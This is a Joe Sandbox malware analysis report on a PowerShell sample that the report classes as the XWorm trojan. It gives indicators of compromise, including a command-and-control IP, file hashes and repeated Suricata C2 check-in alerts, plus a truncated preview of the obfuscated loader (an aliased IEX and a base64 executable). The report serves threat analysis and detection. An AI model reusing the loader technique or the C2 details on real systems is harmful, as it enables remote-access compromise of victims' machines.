https://contoso.com/	powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2176808391.00000272C94E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000000.00000002.2197250295.00000272D83CF000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.113.115.170	unknown	Russian Federation		49505	SELECTELRU	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589116
Start date and time:	2025-01-11 10:02:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	176.113.115.170.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@4/5@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 94% Number of executed functions: 17 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.109.210.53, 13.95.31.18, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegSvcs.exe, PID 5916 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6212 because it is empty
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
04:03:05	API Interceptor	8x Sleep call for process: powershell.exe modified
04:03:08	API Interceptor	9645329x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.170	iy2.dat.exe	Get hash	malicious	XWorm	Browse
176.113.115.170	176.113.115_1.170.ps1	Get hash	malicious	XWorm	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	b0cQukXPAl.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	1In8uYbvZJ.ps1	Get hash	malicious	Unknown	Browse	176.113.115.177
	xCnwCctDWC.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	DLKs2Qeljg.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	fuk7RfLrD3.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	Ljrprfl3BH.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	nYT1CaXH9N.ps1	Get hash	malicious	Amadey	Browse	176.113.115.131

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jsey4b5.4gm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wef4roxy.0ja.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7302356953824454
Encrypted:	false
SSDEEP:	48:EByDC0lgtrt3CyeU2UG/rukvhkvklCyw/xWlflHJb7SogZobRWlflub7SogZo31:rCRt3C8ThkvhkvCCt5Wlf+H2WlfzHc
MD5:	A4DA0F2125ECFDDB82AB308E616BB28B
SHA1:	8F45BC05113502D762F3A8C4B9BD1ABEC2D85F68
SHA-256:	975E09B64E375693C938A0B796B5BC0178FAC12CF9CD319C16E3A325B8D8A871
SHA-512:	9F41857FA5A94A2468C4770E3F444E8C42CAC5A37A370CF60006D0F23955BB3E806ACF59FEE6D0806A4A631938579A5B1649BBDC1E69BE8313BCBCFD6B6BE734
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.......d..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...\|)..d......d......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2+Z`H...........................^.A.p.p.D.a.t.a...B.V.1.....+Z]H..Roaming.@......EW<2+Z]H..../.....................q...R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2+ZYH....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2+ZYH....2......................X.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2+ZYH....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2+ZYH....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2+ZbH....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8JX3M02ZEKXIEXZFPGMS.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7302356953824454
Encrypted:	false
SSDEEP:	48:EByDC0lgtrt3CyeU2UG/rukvhkvklCyw/xWlflHJb7SogZobRWlflub7SogZo31:rCRt3C8ThkvhkvCCt5Wlf+H2WlfzHc
MD5:	A4DA0F2125ECFDDB82AB308E616BB28B
SHA1:	8F45BC05113502D762F3A8C4B9BD1ABEC2D85F68
SHA-256:	975E09B64E375693C938A0B796B5BC0178FAC12CF9CD319C16E3A325B8D8A871
SHA-512:	9F41857FA5A94A2468C4770E3F444E8C42CAC5A37A370CF60006D0F23955BB3E806ACF59FEE6D0806A4A631938579A5B1649BBDC1E69BE8313BCBCFD6B6BE734
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S.......d..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...\|)..d......d......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2+Z`H...........................^.A.p.p.D.a.t.a...B.V.1.....+Z]H..Roaming.@......EW<2+Z]H..../.....................q...R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2+ZYH....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2+ZYH....2......................X.W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2+ZYH....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2+ZYH....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2+ZbH....u...........

Static File Info

General

File type:	ASCII text, with very long lines (65483), with CRLF line terminators
Entropy (8bit):	5.168080453235707
TrID:
File name:	176.113.115.170.ps1
File size:	198'520 bytes
MD5:	be3bf7a258359bd7c14c47b3872c9531
SHA1:	be71f346690b8f384961bf73b382181c5959aef6
SHA256:	ef9aeef4f3b7ea00add3168043c866716d72353065d95b7b7dd981641d91f1ae
SHA512:	db1933ebf7c6d98c5a622a3e22bae0ecde77b554c781574e3e5be159677be3269de15cdb1d0b19002374debfa9d1d2ef6ba663e7daa44ea181ee47c9600e68a5
SSDEEP:	6144:kkYzSm2MYa1Qdgzkqs5u0uXrRMnfB3sBVy8ZK5HKceYWQLJgvF/9EoQ6GsbwMI5M:brSASP
TLSH:	28147C320203BCCA977F3F49A9442EA10C5C643BABA59198FEC509BD65BB510DF39DB4
File Content Preview:	.. $t0='IQIQQIEX'.replace('IQIQQ','');sal GG $t0;....$OE="qQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANfKUWcAAAAAAAAAAOA

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T10:03:15.710239+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:15.710239+0100	2858801	ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:23.606303+0100	2858800	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:03:23.819884+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:23.833659+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:03:37.285229+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:37.287933+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:03:45.707942+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:50.755229+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:03:50.757217+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:04.223272+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:04.226679+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:15.728135+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:17.693170+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:17.694906+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:19.363812+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:19.367649+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:19.485113+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:19.487034+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:30.848378+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:30.855002+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:39.832693+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:39.835523+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:45.348369+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:45.351079+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:45.732510+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:47.586686+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:47.588963+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:49.945635+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:49.949996+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:50.075448+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:50.089397+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:50.196498+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:50.203852+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:04:55.313184+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:04:55.315587+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:01.272151+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:01.274287+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:01.395541+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:01.397754+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:07.723496+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:07.725209+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:15.747681+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:21.197542+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:21.199697+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:24.708086+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:24.710811+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:28.051668+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:28.064303+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:33.464028+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:33.465784+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:34.149677+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:34.154960+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:45.767809+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:47.613889+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:47.615192+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:05:55.274630+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:05:55.404050+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:06.379585+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:06.384569+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:15.784852+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:19.851542+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:19.852832+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:33.133470+0100	2858799	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:33.347246+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:33.411931+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:43.801919+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:43.803194+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:45.797759+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.383427+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.385515+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:47.554173+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.555629+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:47.846791+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:47.848083+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:48.222026+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:48.227167+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:51.492933+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:51.610033+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:52.317426+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:52.319100+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:53.489179+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:53.490802+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:53.609907+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:53.611322+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:06:55.380815+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:06:55.382570+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:00.584845+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:00.587025+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.006405+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.007680+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.133440+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.134457+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.250902+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
2025-01-11T10:07:04.255218+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.375196+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.383325+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.6	49718	176.113.115.170	4413	TCP
2025-01-11T10:07:04.831267+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	176.113.115.170	4413	192.168.2.6	49718	TCP
